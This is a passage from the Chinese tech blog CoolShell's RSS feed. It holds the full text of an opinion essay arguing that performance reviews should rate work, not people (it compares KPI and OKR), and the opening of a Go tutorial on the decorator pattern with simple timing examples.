target=\"_blank\" rel=\"noopener noreferrer\">Wikipedia：Systemd</a></li>\n<li>LinuxVoice：<a href=\"https://www.linuxvoice.com/interview-lennart-poettering/\" target=\"_blank\" rel=\"noopener noreferrer\">Lennart Poettering 专访</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"http://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"http://coolshell.cn/articles/17061.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" alt=\"Docker基础技术：AUFS\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/17061.html\" class=\"wp_rp_title\">Docker基础技术：AUFS</a></li><li ><a href=\"http://coolshell.cn/articles/17010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/isolation-150x150.jpg\" alt=\"Docker基础技术：Linux Namespace（上）\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/17010.html\" class=\"wp_rp_title\">Docker基础技术：Linux Namespace（上）</a></li><li ><a href=\"http://coolshell.cn/articles/2322.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" alt=\"Unix传奇(上篇)\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/2322.html\" class=\"wp_rp_title\">Unix传奇(上篇)</a></li><li ><a href=\"http://coolshell.cn/articles/17029.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/jail_cell-150x150.jpg\" alt=\"Docker基础技术：Linux Namespace（下）\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/17029.html\" class=\"wp_rp_title\">Docker基础技术：Linux Namespace（下）</a></li><li ><a href=\"http://coolshell.cn/articles/17049.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/filter-150x150.png\" alt=\"Docker基础技术：Linux CGroup\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/17049.html\" class=\"wp_rp_title\">Docker基础技术：Linux CGroup</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17998.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>49</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>我看绩效考核</title>\n\t\t<link>https://coolshell.cn/articles/17972.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17972.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 09 Jul 2017 10:03:00 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[KPI]]></category>\n\t\t<category><![CDATA[OKR]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17972</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（本来，这篇文章应该在5月份完成，我拖延症让我今天才完成） 前些天，有几个网友找我谈绩效考核的事，都是在绩效上被差评的朋友。在大致了解情况后，我发现他们感到沮丧...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17972.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17972.html\">我看绩效考核</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-sup_wechat_big wp-image-17977\" src=\"https://coolshell.cn/wp-content/uploads/2017/07/performance_review-360x200.jpg\" alt=\"\" width=\"360\" height=\"200\" />（本来，这篇文章应该在5月份完成，我拖延症让我今天才完成）</p>\n<p>前些天，有几个网友找我谈绩效考核的事，都是在绩效上被差评的朋友。在大致了解情况后，我发现他们感到沮丧和郁闷的原因，不全是自己没有做好事情，他们对于自己没有做好公司交给的事，一方面，持一些疑义，因为我很明显地感到他们和公司对一件是否做好的标准定义有误差，另一方面，他们对于自己的工作上的问题也承认。不过，让他们更多感到沮丧的原因则是，公司、经理或HR和他们的谈话，让他们感觉整个人都被完全否定了，甚至有一种被批斗的感觉。这个感觉实在是太糟糕了。</p>\n<p>因为我也有相似的经历，所以，我想在这里写下一篇文章，谈谈自己的对一些绩效考核的感受。先放出我的两个观点：</p>\n<p style=\"padding-left: 30px;\"><strong>1）制定目标和绩效，目的不是用来考核人的，而用来改善提高组织和人员业绩和效率的。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）人是复杂的，人是有状态波动的，任何时候都不应该轻易否定人，绩效考核应该考核的是事情，而不是人。</strong></p>\n<p>我个人比较坚持的认为——<strong>绩效分应该打给项目，打给产品，打给部门，打给代码，而不是打给人。</strong>然而现在的管理体制基本上都是打给人，而很多根本不擅长管理的经理和HR以及很多不会独立思考的吃瓜群众基本上都会把矛头指向个人，所以，当然会有开批斗会的感觉。</p>\n<p><span id=\"more-17972\"></span></p>\n<p>&nbsp;</p>\n<h4>举几个例子</h4>\n<p>为了讲清楚我的上述观点，请让我先铺垫一下，先说几个例子吧，韩寒的例子我就不说了。</p>\n<p style=\"padding-left: 30px;\">苏步青同学在小学时成绩很糟糕，全班倒数第一。</p>\n<p style=\"padding-left: 30px;\">华罗庚同学上学时数学还考不及格，要不是王维克老师的鼓励并让他爱上了数学，他可能也就完全埋没了。</p>\n<p style=\"padding-left: 30px;\">郑渊洁上学时，老师要求写《早起的鸟有虫子吃》，郑渊洁唱反调写《早起的虫子被鸟吃》，再加上数学老师发难，于是被开除了。从此郑渊洁没有上过一天学。</p>\n<p style=\"padding-left: 30px;\">列夫尔斯泰大贵族出身，2岁丧母，9岁丧父，16岁上大学，大学三年级自动退学回家进行改革。在青年时期不好好读书，考试不及格，留级。他赌博、借债、鬼混……</p>\n<p>这个的例子太多了，我从另一个方面举几个体育运动相关的例子，可能年轻的朋友都不知道，可以问问你们的父母。</p>\n<p style=\"padding-left: 30px;\">80年代，中国有一批非常优秀的体育运动员，比如：体操王子李宁，打破过世界跳高记录的朱建华，还有乒乓球世界冠军马文革，还有羽毛球世界冠军赵建华，记得有一年参加世界比赛，他们全输了，而输的还很惨。于是国内的一些媒体和民众开始骂他们，甚至说他们是民族的败类、耻辱，还有很多人找上门要教训他们……</p>\n<p>如果我们把绩效分比做在学校里的考试分，那么你是否会和我一样认为，考试的成绩只能代表这个人对这些知识点的掌握或理解，而且仅仅在这个时间点，根本不代表这个人根本就不行，更不代表他一直不行。因为挂科太多被学校开除的同学，并不见得这些人在社会上就无活生活下去，反而，他们中的有些人可能会考试成绩好的人还活得好。不是么？这样的例子在我们身边还少吗？</p>\n<p>所以，当我看到某HR说某老员工——“他今天要不自己离开，未来一年也一定会因为绩效问题而被公司开了的”，除了感到居然有人类可以预知他人未来的可笑之外，我感到是一种悲哀，一种管理体制上的悲哀，我感到了在这HR考评背后一股非常强的暗流和不可见的力量让她干出了这样一件匪夷所思的事。</p>\n<p>好些公司还考评价值观，价值观无可厚非，<strong>我觉得一个企业的价值观是非常必要的，但是考核价值观是件非常危险的事情。</strong>这个世界上和传统势力唱反调的人实在是太多了，而被定性为价值观有问题被迫害的人也是多了去了。被批斗被侮辱被毒打的老舍；因为同性恋问题，被迫害而自杀的图灵；因为不同意教会观点被监禁8年都不愿意放弃自己的信仰最终被烧死的布鲁诺，…… 这样的事情已经够多了，新的时代里不应该再发生这样的事了，无论大小。</p>\n<p>考核价值观最大的问题就是非常容易的上纲上线，也非常容易的被制造政治斗争，也非常容易的扼杀各种不同思想，老实说，这从很大程度上是一种洗脑的手段——通过对人制造一种紧张或恐惧而达到控制思想的目的。</p>\n<p>&nbsp;</p>\n<h4>对公司和管理者想说的话</h4>\n<p>下面我来谈谈绩效考核我的一些观点。在谈这个观点前，你可以移步看一下这篇新闻报道——《<a href=\"http://tech.qq.com/a/20120614/000196.htm\" target=\"_blank\" rel=\"noopener noreferrer\">绩效主义毁了索尼</a>》。而近年来，“放弃绩效考核”的斗争已经从科技企业中的Adobe、戴尔、微软、亚马逊，席卷到德勤、埃森哲、普华永道等咨询服务类企业。甚至通用电气（GE）——曾经的绩效管理的鼻祖，也宣布抛弃正式的年度绩效考核。在刚过去的2016年，腾讯的张小龙对微信事业群发出“警惕KPI”的呼声；李彦宏在内部信中将百度的掉队归咎于“从管理层到员工对短期KPI的追逐”；雷军干脆宣布小米“继续坚持‘去KPI’的战略，放下包袱，解掉绳索，开开心心地做事。”；王石也在个人微博中感慨：“绩效主义像企业的脓包”。</p>\n<p>绩效考核在本质上就是像学校教育以分数论英雄，而忽略员工的成长和素质教育是一个道理。当学生和老师只关注考试分数时，而只有考试分数来评价老师和学生的优良中差时，老师和学生就会开始使用一些非常形式的方式来达到这个目标，比如：死记硬被，记套路，题海战术…… 而学习的能力的考评彻底地沦为了一种形式主义。反而，分数考的越高，脑子越死。（注：美国现行教育是不允许通过学生考试成绩来评价老师的能力的）</p>\n<p>近几年来，一些大公司开始使用 OKR &#8211; Objectives, Key Result ，但是在实践过程中，我发现好些公司用OKR，本质上还是KPI &#8211; Key Performance Indicator， 因为OKR里面有一个Key Result，用来衡量 Objectives 的结果指标。于是，使用者习惯性的设置上了KPI。<strong>我个人认为 OKR 有三个非常大的特性：0）由员工提出，1）以目标为导向。2）全员共享。</strong></p>\n<p>举个例子，OKR可能会是制定成下面这个样子的：</p>\n<p style=\"padding-left: 30px;\">Objectives：增强用户体验，</p>\n<p style=\"padding-left: 30px;\">Key Results：</p>\n<p style=\"padding-left: 60px;\">1）用户操作步骤减少20%以上，</p>\n<p style=\"padding-left: 60px;\">2）客服减少40%以上工单，</p>\n<p style=\"padding-left: 60px;\">3）用户99.9%的系统操作的响应时间为100ms以下</p>\n<p style=\"padding-left: 30px;\">然后，把这个目标分解给产品、用户体验、技术团队，形成子的Objectives并关连上相应的父级的Key Result，比如，产品部门定义的Objectives：1）优化注册流程，减少2个步骤，2）优化红包算法，让用户更容易理解，3）提高商品质量，减少用户投诉。后端技术团队定义的Objectives： 1）定义SLA以及相关监控指标，2）自动化运维，减少故障恢复时间，3）提高性能，吞吐量在xxxqps下的99.9%的响应时间为xxms ……</p>\n<p>这个Objective会从公司最高层一直分解到一线员工，信息完全透明，每个人都可以看到所有人被分解到目标，每个人都知道自己在为什么样的目标而奋头，而每个人也可以质疑，改进，建议调整最高层的目标和方向。而不是领到的是被层层消化过的变味的二手，三手甚至四五手的信息。</p>\n<p><strong>而 KPI 最大的问题就是用 OKR 里的 Key Results 拿来当目标，从而导致员工只知道要做什么，不知道为什么，不知道为什么，不能理解目标，工作也就成了实实在在的应付！</strong></p>\n<p>松下公司早在1933年，就召集168名员工，把松下未来250年的远景规划目标公布于众，从1956年开始，就定期宣布并解读自身的“五年计划”，帮助每位员工的目光从眼前的短期利益移开，树立自己的理想和目标，也促进了松下的可持续性发展。</p>\n<p>然而，今时不同往昔，随着产品周期的不断缩减、竞争对手的持续涌入、高新技术的频频迭代，企业的战略的变化与调整变得更加频繁，朝令夕改的经营策略已经成为兵家常态。 在这一过程中，有多少员工了解调整之后的战略呢？员工的绩效指标又根据战略调整多少次了呢？</p>\n<p><strong>KPI本身是一种被动的、后置的考察，在工作完成之后考察员工的行为是否符合标准。因此，员工对于公司的目标漠不关心，只关心自己的KPI，因为这才是自己的最大的利益，为了达到KPI，有的员工开始不思考，并使用一些简单粗暴的玩法，其实这样既害了公司，也害了自己。自己的成长和进步也因为强大的 KPI 而抛在了脑后。</strong></p>\n<p><strong>当然，KPI 绩效考核一般来说，不一定会毁掉公司的，相反，对于喜欢使用蛮力的劳动密集型的公司来说，可能还有所帮助，然而，KPI毁掉的一定是团队的文化和团队的挑战精神，以及创新和对事业的热情，甚至会让其中的人失去应有的正常的判断力（分不清充分和必要条件，分不清很多事的因果关系）。</strong></p>\n<p>&nbsp;</p>\n<h4>对职场人想说的话</h4>\n<p>那么，对于个人来说，如何面对公司给自己的绩效考核呢？如何面对他们的绩效考核呢？</p>\n<p>还是用学校考试分数来做对比，如果说，用考试分数论英雄，一个人考高分就是绩效上的人才，考不及格的人就是人渣，这对吗？当然不是。也许仅于对于考试来说可以把人分成三六九等，但是对于整个人生来说，考试成绩和一个人在这个社会里的的成就并没有非常直接的因果关系。面对现实的社会，最终很多成绩好的人为成绩差的人工作的例子也有很多很多了。</p>\n<p>我想说什么？我想说的是——<strong>用一颗平常心来面对公司给你打的分数，因为那并不代表你的整个人生。但是，你要用一颗非常严肃的心来面对自己的个人发展和成长，因为这才是真正需要认真对待的事。</strong></p>\n<p>换句话说，<strong>如果要给一个人打绩效分，那不是由一个公司在一个短期的时间时打出来，而是由这个人在一个长期的时间里所能达到的成就得出来的。</strong></p>\n<p>就像WhatsApp的联合创始人Brian Acton 在 2009年时面试Facebook时没有面试通过，然而在 5 年以后，他把自己创办的公司以190亿美元卖给了FaceBook。阿里巴巴的马云不也一样吗？找工作各种被拒，开办的第一个公司成绩也不好，20年前，一堆人都说马云这也不行那也不行，然而，后面呢？反过来说，也很多职业经理人在公司里绩效非常好，然后到了创业公司却搞得非常的糟糕，这又说明了什么呢？</p>\n<p>这就像动物一样，有的动物适合在水里生活，有的动物适合在陆地上，鱼在陆地上是无法生存的，你让老虎去完成游泳的工作，你让鱼去完成鸟类的工作，你能考核到什么呢？<strong>我们每个人都有适合自己的环境，找到适合自己的环境才是最关键的！与其去关注别人对自己的评价，不如去寻找适合自己的环境。</strong></p>\n<p>所以，<strong>一个特定环境下的绩效考核并不代表什么，而那些妄图用绩效考核去否定一个人的做法，或多或少就是“法西斯”或“红卫兵”的玩法</strong>。</p>\n<p>好了！让我们不要再说绩效考核了，让我们回到，真正让自己提高，让自己成长，让自己的强的话题上来吧。这里，我需要转引一篇文章《<a href=\"https://brendansterne.com/2013/07/11/do-the-right-thing-wait-to-get-fired/\" target=\"_blank\" rel=\"noopener noreferrer\">Do the Right Thing, Wait to get fired</a>》，文中提到《 <a href=\"https://www.amazon.cn/gp/product/1449302440\" target=\"_blank\" rel=\"noopener noreferrer\">Team Geek</a>》这本书中的一句话</p>\n<blockquote><p><strong>做正确的事情，等着被开除。</strong></p>\n<p>谷歌新员工(我们称做“Nooglers”)经常会问我是如何让自己做事这么高效的。我半开玩笑的告诉他们这很简单：<strong>我选择做正确的事情，为谷歌，为世界，然后回到座位上，等着被开除。如果没有被开除，那我就是做了正确的事情——为所有人。如果被开除了，那选错了老板。总之，两方面，我都是赢</strong>。这是我的职业发展策略。</p></blockquote>\n<p>注明一下，“做正确的事，等着被开除”并不是一句鸡汤，而是让你变强大的话。因为强者自强，只有强者才能追求真理，而不是委曲求全。</p>\n<p>嗯，<strong>考试分数不是关键，别人对你的评价也不是关键，自己有没有成长有没有提高有没有上一个台阶才是关键。KPI不是关键，OKR也不是关键，有没有在做正确的事，这才是关键！</strong>不是这样吗？</p>\n<h4>其它</h4>\n<p>我大学四年级时，觉得马上就要离开学校了，当时想干点以后再以没有机会干的事。想来想去，就是上学这么多年来，从来没有不及格过，于是我任性了一把，挂了一个科，去补考了一下。挂科的时候也收到一些同学的笑话，还有老师的批评，不过，这让我感觉我的学校经历更完整了。因为，这让我在22岁的时候，就经历并大概明白了一些人生的道理。</p>\n<p>从98年工作到2013年来，就像一个好学生一样，我从来没有出现过任何的工作绩效问题，反正还经常在工作中成为标杠型的人，然并卵，只有自己成长才是最真实的感觉。“做正确的事，等着被开除”，这可能是我迄今为止在职场里做的最疯狂也是最正确的事了。因为，这让我有更多的经历，让我从正确的事中得到提高，也让我内心变得越来越强大，也让我找到了更具挑战的事，更让我对自己有更清楚的认识。</p>\n<p>最后，我知道一定会有人来怼我，所以，最后我还想留段话，留给那些还是想通过绩效来否定人的人。</p>\n<p style=\"padding-left: 30px;\">如果你对我的绩效或技术能力有怀疑，没问题，那么希望你能做到下述我已做到的事，再来喷我，谢谢！</p>\n<p style=\"padding-left: 30px;\">“<strong>在你40岁，在父亲病重，孩子上学问题、房贷并未还清、你是全家唯一收入来源之类的中年危机的情况下，辞去你现在的工作，不加入任何一家公司，不用自己的任何一分钱积蓄，不要任何人的投资和帮助。只通过自己的技术能力，为别人解决相应的技术难题（不做任何无技术含量的外包项目），来生存养家，并除了能照顾好自己的家人没有降低自己的生活水平之外，还能再养活3个每人年薪36万元的工程师</strong>”</p>\n<p style=\"padding-left: 30px;\">请问这样的绩效能打个几分呢？呵呵。</p>\n<p>当然，不管怎么说，我还有很多路要走，还有很多不足，我还要继续努力。所以，我挑了一条对我来说最难走的路，作死创业……</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17972.html\">我看绩效考核</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17972.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>95</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go编程模式：修饰器</title>\n\t\t<link>https://coolshell.cn/articles/17929.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17929.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 01 Jun 2017 08:48:15 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[functional]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[golang]]></category>\n\t\t<category><![CDATA[Programming]]></category>\n\t\t<category><![CDATA[函数式]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17929</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>之前写过一篇《Python修饰器的函数式编程》，这种模式很容易的可以把一些函数装配到另外一些函数上，可以让你的代码更为的简单，也可以让一些“小功能型”的代码复用...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17929.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-17945\" src=\"https://coolshell.cn/wp-content/uploads/2017/06/go-hardhat.png\" alt=\"\" width=\"200\" height=\"193\" />之前写过一篇《<a href=\"https://coolshell.cn/articles/11265.html\" target=\"_blank\" rel=\"noopener noreferrer\">Python修饰器的函数式编程</a>》，这种模式很容易的可以把一些函数装配到另外一些函数上，可以让你的代码更为的简单，也可以让一些“小功能型”的代码复用性更高，让代码中的函数可以像乐高玩具那样自由地拼装。所以，一直以来，我对修饰器decoration这种编程模式情有独钟，这里写一篇Go语言相关的文章。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第7 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go编程模式：修饰器</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">&laquo; <a href=\"https://coolshell.cn/articles/21179.html\" rel=\"prev\" title=\"Go 编程模式：Go Generation\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21228.html\" rel=\"next\" title=\"Go编程模式：Pipeline\">下一篇文章</a> &raquo;</span></nav></section>\n<p>看过<a href=\"https://coolshell.cn/articles/11265.html\" target=\"_blank\" rel=\"noopener noreferrer\">Python修饰器</a>那篇文章的同学，一定知道这是一种函数式编程的玩法——用一个高阶函数来包装一下。多唠叨一句，关于函数式编程，可以参看我之前写过一篇文章《<a href=\"https://coolshell.cn/articles/10822.html\" target=\"_blank\" rel=\"noopener noreferrer\">函数式编程</a>》，这篇文章主要是，想通过从过程式编程的思维方式过渡到函数式编程的思维方式，从而带动更多的人玩函数式编程，所以，如果你想了解一下函数式编程，那么可以移步先阅读一下。所以，Go语言的修饰器编程模式，其实也就是函数式编程的模式。</p>\n<p>不过，要提醒注意的是，Go 语言的“糖”不多，而且又是强类型的静态无虚拟机的语言，所以，无法做到像 Java 和 Python 那样的优雅的修饰器的代码。当然，也许是我才才疏学浅，如果你知道有更多的写法，请你一定告诉我。先谢过了。<br />\n<span id=\"more-17929\"></span></p>\n<h4>简单示例</h4>\n<p>我们先来看一个示例：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">package main\n\nimport \"fmt\"\n\nfunc decorator(f func(s string)) func(s string) {\n\n    return func(s string) {\n        fmt.Println(\"Started\")\n        f(s)\n        fmt.Println(\"Done\")\n    }\n}\n\nfunc Hello(s string) {\n    fmt.Println(s)\n}\n\nfunc main() {\n        decorator(Hello)(\"Hello, World!\")\n}</pre>\n<p>我们可以看到，我们动用了一个高阶函数 <code>decorator()</code>，在调用的时候，先把 <code>Hello()</code> 函数传进去，然后其返回一个匿名函数，这个匿名函数中除了运行了自己的代码，也调用了被传入的 <code>Hello()</code> 函数。</p>\n<p>这个玩法和 Python 的异曲同工，只不过，有些遗憾的是，Go 并不支持像 Python 那样的 <code>@decorator</code> 语法糖。所以，在调用上有些难看。当然，如果你要想让代码容易读一些，你可以这样：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">hello := decorator(Hello)\nhello(\"Hello\")</pre>\n<p>我们再来看一个和计算运行时间的例子：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"16-26\">package main\n\nimport (\n  \"fmt\"\n  \"reflect\"\n  \"runtime\"\n  \"time\"\n)\n\ntype SumFunc func(int64, int64) int64\n\nfunc getFunctionName(i interface{}) string {\n  return runtime.FuncForPC(reflect.ValueOf(i).Pointer()).Name()\n}\n\nfunc timedSumFunc(f SumFunc) SumFunc {\n  return func(start, end int64) int64 {\n\n    defer func(t time.Time) {\n      fmt.Printf(\"--- Time Elapsed (%s): %v ---\\n\", \n          getFunctionName(f), time.Since(t))\n    }(time.Now())\n\n    return f(start, end)\n  }\n}\n\nfunc Sum1(start, end int64) int64 {\n  var sum int64\n  sum = 0\n  if start &gt; end {\n    start, end = end, start\n  }\n  for i := start; i &lt;= end; i++ {\n    sum += i\n  }\n  return sum\n}\n\nfunc Sum2(start, end int64) int64 {\n  if start &gt; end {\n    start, end = end, start\n  }\n  return (end - start + 1) * (end + start) / 2\n}\n\nfunc main() {\n\n  sum1 := timedSumFunc(Sum1)\n  sum2 := timedSumFunc(Sum2)\n\n  fmt.Printf(\"%d, %d\\n\", sum1(-10000, 10000000), sum2(-10000, 10000000))\n}</pre>\n<p>关于上面的代码，有几个事说明一下：</p>\n<p>1）有两个 Sum 函数，<code>Sum1()</code> 函数就是简单的做个循环，<code>Sum2()</code> 函数动用了数据公式。（注意：start 和 end 有可能有负数的情况）</p>\n<p>2）代码中使用了 Go 语言的反射机器来获取函数名。</p>\n<p>3）修饰器函数是 